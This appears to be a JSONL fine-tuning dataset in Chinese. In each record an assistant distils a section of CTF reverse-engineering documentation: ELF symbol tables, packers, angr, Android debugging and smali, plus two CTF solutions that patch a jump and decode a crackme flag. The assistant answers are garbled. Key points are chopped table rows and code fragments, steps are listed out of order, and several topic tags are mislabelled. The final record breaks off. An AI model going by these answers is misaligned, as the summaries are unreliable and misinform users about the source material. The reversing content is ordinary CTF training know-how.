{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-e4e7f3fa868db7aea2ac", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/symbol-table.md` 中的章节「Symbol Type」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/symbol-table.md`\n标题：.symtab: Symbol Table\n章节：.symtab: Symbol Table > st_info > Symbol Type\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Symbol Type”展开。\n- 可以看出 st_info 的低 4 位表示符号的类型，具体定义如下 | 名称 | 取值 | 说明 | | -------------------------- | ----- | ------------------------------------------------------------ | | STT_NOTYPE | 0 | 符号的类型没有定义。\n- | | STT_OBJECT | 1 | 符号与某个数据对象相关，比如一个变量、数组等等。\n- | | STT_FILE | 4 | 一般情况下，符号的名称给出了生成该目标文件相关的源文件的名称。\n- 如果存在的话，该符号具有 STB_LOCAL 绑定，其节区索引是 SHN_ABS 且优先级比其他STB_LOCAL符号高。\n- | | STT_LOPROC～STT_HIPROC | 13~15 | 保留用于特定处理器 | 共享目标文件中的函数符号有比较特殊，当另一个目标文件从共享目标文件中引用一个函数时，链接器自动为被引用符号创建过程链接表项。\n\n关键术语：\n- executable\n- elf\n- structure\n- symbol-table.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 719, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Symbol Type", "heading_path": [".symtab: Symbol Table", "st_info", "Symbol Type"], "original_id": "docs-f8684485b2f532ead647", "original_line": 486, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "source_root": "docs", "source_sha256": "56c62270fa50835f2a86e5d488beca1590d3bcbe520738020641a39ef2fc28d2", "split": "train", "split_group_key": "a5a898286b029c9465215055", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "symbol-table.md"], "title": ".symtab: Symbol Table"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-e6e34da8ab36b70246bf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/packer-introduction.md` 中的章节「压缩壳」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/packer-introduction.md`\n标题：保护壳简介\n章节：保护壳简介 > 壳的分类 > 压缩壳\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 使用压缩壳可以帮助缩减 PE 文件的大小，隐藏了 PE 文件内部代码和资源，便于网络传输和保存。\n- 压缩壳早在 DOS 时代就已经出现了，但是当时因为计算能力有限，解压开销过大，并没有得到广泛的运用。\n- 通常压缩壳有两类用途，一种只是单纯用于压缩普通 PE 文件的压缩壳，而另一种则会对源文件进行较大变形，严重破坏 PE 文件头，经常用于压缩恶意程序。\n- 常见的压缩壳有：Upx、ASpack、PECompat\n\n关键术语：\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 205, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "压缩壳", "heading_path": ["保护壳简介", "壳的分类", "压缩壳"], "original_id": "docs-210bf1eefc0d9b4f935d", "original_line": 1545, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/packer-introduction.md", "source_root": "docs", "source_sha256": "f3d551450dc3e7b30a068f97c2daba50f85862bbb3cd3336ad2d1f6b4ae3442d", "split": "train", "split_group_key": "7d80a2822d2be4efeb3fd008", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "unpack"], "title": "保护壳简介"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/packer-introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-e8b7ff2b7c088281d423", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「Emulated Filesystem」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Emulated Filesystem\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Emulated Filesystem”展开。\n- 在 angr 当中与文件系统间的操作是通过 SimFile 对象完成的，SimFile 为对 _存储_ 的抽象模型，一个 SimFile 对象可以表示一系列的字节、符号等。\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n\n代码/命令片段线索：\n- python: 4 行，首行 `>>> import angr, claripy`\n- python: 1 行，首行 `>>> state.fs.insert('test_file', sim_file)`\n- python: 2 行，首行 `>>> pos = 0`\n- python: 3 行，首行 `>>> sim_packet = angr.SimPackets('my_packet')`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 838, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Emulated Filesystem", "heading_path": ["angr", "基本用法", "Emulated Filesystem"], "original_id": "docs-179ae39d6c7c31e4d8bc", "original_line": 84, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "01f299f59a59156f4d27426c", "subcategory": "reverse/tools/simulate-execution", "terms": ["AI安全", "reverse", "tools", "simulate-execution", "angr.md", "code:python"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-eb76c6c59210345687d0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「获取flag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题 > 获取flag\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“获取flag”展开。\n- 文件: ./figure/2016_seccon/target.png] 在00401663以上的mov-cmp-jnz也是一个验证部分, 就不管了, 直接跳到00401663这里的mov ecx, 7这里运行解密代码, 并顺着执行MessageBoxA()`弹出消息框, 拿到flag [图片: flag.png;\n- 文件: ./figure/2016_seccon/jmp.png] 这里是输入I have a pen.后的跳转部分, 因为正常跳转到的部分, 全是一些检测调试的内容, 所以我们直接跳到代码解密的部分. 也就是00401663的位置.\n- int .text:0040164D call _exit ` 实际上这一段代码并没有被IDA反编译出来. 而loc_401652位置则是一串代码, 亮点在于使用了一个MessageBoxA的函数. 而且函数参数之一就是我们的待解密flag. 那么我们就可以在输入I have a pen.后, 在if ( !\n- v22 )跳转的汇编代码部分, 将其手动改为跳转到flag解密及弹出messagebox的部分运行, 让程序自己帮忙解密并输出, 就可以了. 操作如下图所示: [图片: jmp.png;\n- 文件: ./figure/2016_seccon/flag.png]\n\n关键术语：\n- 密码学\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1115, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "获取flag", "heading_path": ["反调试技术例题", "获取flag"], "original_id": "docs-828baf15794a82e6f843", "original_line": 1514, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "614a7e78a0d49d7af80ad255", "subcategory": "reverse/platform/windows", "terms": ["密码学", "reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ebdc318fc8d2d47debee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/complex-example.md` 中的章节「2017 ISCC Crackone」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/complex-example.md`\n标题：静态分析综合题目\n章节：静态分析综合题目 > 2017 ISCC Crackone\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2017 ISCC Crackone”展开。\n- 利用 jadx 进行反编译，可以得到程序的基本逻辑如下 - 对用户输入的内容进行 base64 编码，然后在指定长度位置处插入\\r\\n ，这个似乎并没有什么乱用。\n- I+PEo.UcshU' length = len(ans) flag = [0] length beg = 0 end = length while beg < length / 2: end -= 1 flag[beg] = chr(ord(ans[end]) + 5) flag[end] = ans[beg] beg += 1 flag = ''.join(flag) print base64.b64decode(flag) if __name__ == \"__main__\": solve() ` 对应...\n- ((env)->GetByteArrayRegion)(env, str, 0, len, v7);\n- ` 不难看出，程序就是直接将 base64 之后的字符串的两半分别进行适当的操作，这里我们很容易写出 python 对应的恢复代码，如下 `python def solve(): ans = '=0HWYl1SE5UQWFfN?\n- if ( i >= len / 2 ) break;\n\n关键术语：\n- Android逆向\n- AI安全\n- 漏洞利用\n- android\n- basic-reverse\n- static\n- complex-example.md\n- code:c\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- c: 23 行，首行 `env = a1;`\n- python: 15 行，首行 `def solve():`\n- shell: 2 行，首行 `➜ 2017ISCC python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1011, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "reverse", "heading": "2017 ISCC Crackone", "heading_path": ["静态分析综合题目", "2017 ISCC Crackone"], "original_id": "docs-99f3ddfc66b9fef80e3e", "original_line": 86, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/complex-example.md", "source_root": "docs", "source_sha256": "d2464a5ec5d39f04d8b188015b88c0db9cd8467f77ba3efe654378e82fecc36f", "split": "train", "split_group_key": "e783f14ba2929ea26d9ee23b", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "AI安全", "漏洞利用", "android", "basic-reverse", "static", "complex-example.md", "code:c", "code:python", "code:shell"], "title": "静态分析综合题目"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/complex-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ece076f0a263bc781c19", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/packer-introduction.md` 中的章节「加密壳」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/packer-introduction.md`\n标题：保护壳简介\n章节：保护壳简介 > 壳的分类 > 加密壳\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 常见的加密壳有：ASProtector、Armadillo、EXECryptor、Themida、VMProtect\n- 加密壳或称保护壳，应用有多种防止代码逆向分析的技术，它最主要的功能是保护 PE 免受代码逆向分析。\n- 由于加密壳的主要目的不再是压缩文件资源，所以加密壳保护的 PE 程序通常比原文件大得多。\n- 目前加密壳大量用于对安全性要求高，对破解敏感的应用程序，同时也有恶意程序用于避免（降低）杀毒软件的检测查杀。\n\n关键术语：\n- 密码学\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 211, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "加密壳", "heading_path": ["保护壳简介", "壳的分类", "加密壳"], "original_id": "docs-5ad3a03f387e1e83d218", "original_line": 1546, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/packer-introduction.md", "source_root": "docs", "source_sha256": "f3d551450dc3e7b30a068f97c2daba50f85862bbb3cd3336ad2d1f6b4ae3442d", "split": "train", "split_group_key": "8b0bcf6eb5586fcb8d0f5933", "subcategory": "reverse/platform/windows", "terms": ["密码学", "reverse", "platform", "windows", "unpack"], "title": "保护壳简介"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/packer-introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ece5d459459680e713e2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/dynamic_debug.md` 中的章节「Android 调试基本原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/dynamic_debug.md`\n标题：Android 动态调试\n章节：Android 动态调试 > Android 调试基本原理\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Android 调试基本原理”展开。\n- ro.debuggable 的值可以根据如下命令来查询 ``shell adb shell getprop ro.debuggable ``\n- 一般来说，Android 根据如下的顺序来判断一个应用是否可以被调试 1. 检测 boot.img 中的 ro.debuggable 是否为1，为 1 的话，手机中的任何应用均可以调试。\n- 自然，我们也就有两种方法来使得一个应用可以被调试 1. 将一个 apk 文件解包，在 \\ 元素中添加 android:debuggable=\"true\"，然后重打包，签名。\n- 2. 否则，检测对应应用中 AndroidManifest.xml 中 \\ 元素中是否包含了android:debuggable=\"true\"，如果有的话，才会开启调试支持。\n- 一般来说，因为前者需要我们每次都需要修改应用，比较麻烦，我们更倾向于后者，。\n\n关键术语：\n- ROP/JOP\n- Android逆向\n- android\n- basic-reverse\n- dynamic\n- dynamic-debug.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `adb shell getprop ro.debuggable`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 553, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Android 调试基本原理", "heading_path": ["Android 动态调试", "Android 调试基本原理"], "original_id": "docs-eea58cc066950e2696fb", "original_line": 78, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/dynamic_debug.md", "source_root": "docs", "source_sha256": "898bed5860573aad5deee0c1344142f7269c51e77217752a96733af49f3c8da0", "split": "train", "split_group_key": "a027b7f14bdc78980b0c094d", "subcategory": "android/basic_reverse/dynamic", "terms": ["ROP/JOP", "Android逆向", "android", "basic-reverse", "dynamic", "dynamic-debug.md", "code:shell"], "title": "Android 动态调试"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/dynamic_debug.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-edfcbd963e368b76cc40", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/dynamic_debug.md` 中的章节「DDMS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/dynamic_debug.md`\n标题：Android 动态调试\n章节：Android 动态调试 > 基本调试工具 > DDMS\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- DDMS（Dalvik Debug Monitor Service）是Dalvik虚拟机调试监控服务，可以监视Android程序在运行过程中的状态以及结果，可以大大加快我们的程序分析效率。\n- 这是一款由Android SDK提供的工具，其中有设备截屏，查看运行的线程信息、文件浏览、Logcat、Method Profiling、广播状态信息、模拟电话呼叫、接收SMS等功能。\n- 该工具一般位于Android SDK的tools目录下，其中ddms.bat就是用来启动DDMS的。\n- DDMS中比较重要的功能主要是 - 文件浏览，我们可以观察并分析程序在执行过程中对文件的生成，修改，删除操作。\n- Method Profiling，可以跟踪程序的执行流程。\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- dynamic\n- dynamic-debug.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 348, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "DDMS", "heading_path": ["Android 动态调试", "基本调试工具", "DDMS"], "original_id": "docs-af045f436f12fd0bf299", "original_line": 79, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/dynamic_debug.md", "source_root": "docs", "source_sha256": "898bed5860573aad5deee0c1344142f7269c51e77217752a96733af49f3c8da0", "split": "train", "split_group_key": "1e65d07f338938fb5b69dc6a", "subcategory": "android/basic_reverse/dynamic", "terms": ["Android逆向", "android", "basic-reverse", "dynamic", "dynamic-debug.md"], "title": "Android 动态调试"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/dynamic_debug.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ee4f13754bccfccda780", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「bitvector - 位向量」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Claripy > bitvector - 位向量\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“bitvector - 位向量”展开。\n- 位向量（bitvector）是 angr 求解引擎中的一个重要部分，其表示了 一组位 （a sequence of bits）。\n\n关键术语：\n- 边界/溢出\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n\n代码/命令片段线索：\n- python: 6 行，首行 `>>> bvv = claripy.BVV(b'arttnba3')`\n- python: 5 行，首行 `>>> bvv2 = bvv2.zero_extend(32)`\n- python: 6 行，首行 `>>> bvs = claripy.BVS(\"x\", 64)`\n- python: 3 行，首行 `>>> bvs3 = (bvs * bvs2 + bvv) / bvs`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1259, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "bitvector - 位向量", "heading_path": ["angr", "基本用法", "Claripy", "bitvector - 位向量"], "original_id": "docs-8ace3bb2d5eb3a469915", "original_line": 1564, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "830a841cd369e7d7f67c1011", "subcategory": "reverse/tools/simulate-execution", "terms": ["边界/溢出", "reverse", "tools", "simulate-execution", "angr.md", "code:python"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-f1b28594166ea5fc3000", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/symbol-table.md` 中的章节「如何定位」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/symbol-table.md`\n标题：.symtab: Symbol Table\n章节：.symtab: Symbol Table > 如何定位\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“如何定位”展开。\n- 具体步骤如下 1. 根据 Section Header Table 中符号节头中的 sh_link 获取该符号节中对应符号字符串节在 Section Header Table 中的下标。\n- 3. 根据上述两者就可以定位一个符号对应的字符串的地址了。\n- 2. 根据该符号的定义中的 st_name 获取该符号的偏移，即在对应符号节中的偏移。\n- 那么对于一个符号来说如何定位其对应字符串的地址呢？\n\n关键术语：\n- executable\n- elf\n- structure\n- symbol-table.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 215, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "如何定位", "heading_path": [".symtab: Symbol Table", "如何定位"], "original_id": "docs-7d54e757edd4f84bd5ee", "original_line": 489, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "source_root": "docs", "source_sha256": "56c62270fa50835f2a86e5d488beca1590d3bcbe520738020641a39ef2fc28d2", "split": "train", "split_group_key": "8b517e24ea8eb044ef825767", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "symbol-table.md"], "title": ".symtab: Symbol Table"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-f35678a4f3d6cf5bb047", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「返回指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 返回指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“返回指令”展开。\n- 在java中我们会利用Return返回方法的执行结果。\n- 同样的，在Davilk中我们也需要return指令来返回方法运行结果。\n- | 指令 | 说明 | | ----------------- | -------------- | | return-void | 什么也不返回 | | return vAA | 返回一个32位非对象类型的值 | | return-wide vAA | 返回一个64位非对象类型的值 | | return-object vAA | 返回一个对象类型的引用 |\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 244, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "返回指令", "heading_path": ["interfaces", "执行语句", "具体指令", "返回指令"], "original_id": "docs-c8daa13bf8d55c73b28d", "original_line": 65, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "e88222e19a76ca29c84389fc", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "漏洞利用", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-fad87db3516228db8883", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「if指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 跳转指令 > if指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“if指令”展开。\n- ` smali代码如下 `smali const/4 v0, 0xa if-lez v0, :cond_0 # if 块开始 const/4 v0, 0x1 goto :cond_1 # if 块结束 :cond_0 # else 块开始 const/4 v0, 0x0 :cond_1 # else 块结束 ` 在只有if的情况下 `java int a = 10;\n- ` smali代码如下 `smali const/4 v0, 0xa if-lez v0, :cond_0 # if 块开始 const/4 v0, 0x1 :cond_0 # if 块结束 ``\n- | 举个例子，java代码如下 ``java int a = 10 if(a > 0) a = 1;\n- if-test vA,vB,+CCCC 会比较vA与v，如果比较结果满足就跳转到CCCC指定的偏移处（相对当前偏移），偏移量CCCC不能为0。\n- if-test类型的指令如下： | 指令 | 说明 | | -------------------- | ------------ | | if-eq vA,vB,target | 如果vA=vB，跳转。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n- code:smali\n\n代码/命令片段线索：\n- java: 5 行，首行 `int a = 10`\n- smali: 7 行，首行 `const/4 v0, 0xa`\n- java: 3 行，首行 `int a = 10;`\n- smali: 4 行，首行 `const/4 v0, 0xa`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 